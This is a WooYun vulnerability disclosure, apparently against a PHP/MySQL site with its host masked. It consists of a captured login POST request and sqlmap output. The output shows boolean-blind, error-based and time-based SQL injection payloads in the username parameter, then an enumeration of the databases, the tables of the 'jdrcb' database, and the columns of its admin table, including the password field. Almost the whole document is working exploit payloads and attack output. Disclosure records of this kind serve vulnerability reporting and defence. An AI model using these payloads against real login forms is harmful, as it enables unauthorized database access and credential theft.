WooYun.org

POST /index.php/member-ac-chklogin.html HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 58
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=r0gdi0tvqti7frbog8kdeo0b95
username=admin&password=123456&BtnLogin=%E7%99%BB%E9%99%86

sqlmap identified the following injection points with a total of 365 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 3916=3916 AND 'hWJY'='hWJY&password=123456&BtnLogin=%E7%99%BB%E9%99%86
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=admin' AND (SELECT 8789 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(SELECT (ELT(8789=8789,1))),0x7176767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'SPgx'='SPgx&password=123456&BtnLogin=%E7%99%BB%E9%99%86
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: username=admin' OR SLEEP(5) AND 'TYOS'='TYOS&password=123456&BtnLogin=%E7%99%BB%E9%99%86
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5.0

web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
available databases [2]:
[*] information_schema
[*] jdrcb

web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
current database:    'jdrcb'

web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5
Database: jdrcb
[17 tables]
+-----------------+
| gdb_admin       |
| gdb_advert      |
| gdb_article     |
| gdb_candidates  |
| gdb_careers     |
| gdb_category    |
| gdb_columns     |
| gdb_config      |
| gdb_download    |
| gdb_links       |
| gdb_linkscate   |
| gdb_members     |
| gdb_message     |
| gdb_reservation |
| gdb_single      |
| gdb_video       |
| gdb_works       |
+-----------------+

web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5
Database: jdrcb
Table: gdb_admin
[12 columns]
+-----------------+-------------+
| Column          | Type        |
+-----------------+-------------+
| addtime         | int(11)     |
| email           | varchar(50) |
| flag            | tinyint(1)  |
| id              | int(10)     |
| last_login_ip   | varchar(20) |
| last_login_time | int(11)     |
| login_ip        | varchar(20) |
| login_time      | int(11)     |
| password        | varchar(50) |
| sid             | varchar(50) |
| uname           | varchar(20) |
| userid          | varchar(20) |
+-----------------+-------------+